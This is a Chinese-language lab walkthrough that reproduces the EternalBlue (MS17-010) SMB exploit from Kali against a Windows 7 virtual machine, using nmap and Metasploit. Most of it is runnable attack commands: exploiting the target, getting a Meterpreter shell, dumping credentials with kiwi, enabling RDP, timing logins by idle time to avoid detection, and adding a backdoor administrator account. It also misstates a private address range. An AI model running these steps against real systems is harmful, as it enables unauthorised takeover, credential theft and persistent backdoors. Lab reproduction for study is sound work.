一、永恒之蓝概述
永恒之蓝(Eternal Blue)爆发于 2017 年 4 月 14 日晚,是一种利用 Windows 系统的 SMB 协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于 2017 年 5 月 12 日, 不法分子通过改造 “永恒之蓝” 制作了 wannacry 程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。
二、SMB 协议
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机 / 服务器、请求 / 响应协议,通过 SMB 协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠 SMB 实现的;SMB 协议工作在应用层和会话层,可以用在 TCP/IP 协议之上,SMB 使用 TCP139 端口和 TCP445 端口。
三、准备工作
虚拟机:VMware
靶机:Windows 7 (IP:192.168.184.138) 镜像下载 https://msdn.itellyou.cn/
攻击机:Kali (IP:192.168.184.130)
工具:Kali 中的 nmap metasploit (MSF)
四、漏洞复现
1、主机发现
a. 前提 win7 关闭防火墙
不关闭防火墙有可能 nmap 扫描不到其端口,MSF 利用不了永恒之蓝漏洞。
可以 ipconfig ifconfig 分别查看 win7 和 kali 中的 ip 地址:
win7
2. 用 kali 中的 nmap 扫描网段做主机发现
IP 地址:<网络号>+< 主机号 >
A 类:10.0.0.0~10.255.255.255
B 类:172.16.0.0~173.31.255.255
C 类:192.168.0.0~192.168.255.255
/24 就是代表 24 个 1,即子网掩码为 255.255.255.0
192.168.184.0/24 “/” 后面的数字控制前面 ip 地址的掩码,以表示后面有几位可以变
nmap -sP 192.168.184.0/24 #sP(ping扫描)
3. 用 kali 中的 metasploit (MSF) 做主机发现
msfconsole //启动MSF
use auxiliary/scanner/discovery/arp_sweep //use使用模块
set rhosts 192.168.184.0/24 //设置扫描网段
set threads 50 //提高线程
run //运行
MSF 搜索永恒之蓝的漏洞 输入 search ms17-010 (微软 永恒之蓝编号 ms17-010)
-
blue 就是永恒之蓝的漏洞
-
psexec 是可利用的一个 javascripe(JS)的一个模块
-
command 是运行 cmd 的
-
最后一个是探测的模块
a. 我们先利用探测的模块看一下我们的这台 win7 有没有可能存在漏洞。
use exploit/windows/smb/ms17_010_eternalblue
show options
set rhosts 192.168.184.138
exploit/run
运行成功会出现 meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如进入 cmd、获取屏幕、上传 / 下载文件、创建持久后门等。
meterpreter > shell
chcp 65001 //转换一下编码 要不然会乱码
ipconfig #查看ip
whoami #查看当前用户名称
2. 捕获屏幕
meterpreter > screenshot #屏幕截图
3. 上传文件
meterpreter > upload user.txt c://
5. 远程登录
kiwi 模块查看密码:
使用 kiwi 模块需要 system 管理员权限:
meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all #列举所有凭据
exit #退出
MSF 启动目标机的 3389 端口
windows 远程连接默认是不允许连接的:
我们总不能手动在 win7 上允许远程连接吧,这样我们怎么能算得上 Hacker 呢,哈哈哈...
启动 win7 的 3389 端口即远程桌面协议,执行远程链接命令:
meterpreter > run post/windows/manage/enable_rdp //启用目标主机的3389端口远程桌面
meterpreter > idletime //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。
root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令远程连接桌面
由于这样我们远程登录 win7 用户,在 win7 会把用户 k 顶下去:
创建用户:
所以我们要创建一个新用户用来登录:
meterpreter > shell #进入命令行
net user kill 123 /add #新建用户kill 密码123
net localgroup administrators kill /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user #查看用户
root@kali:~# rdesktop 192.168.184.138 //使用 rdesktop 命令远程连接桌面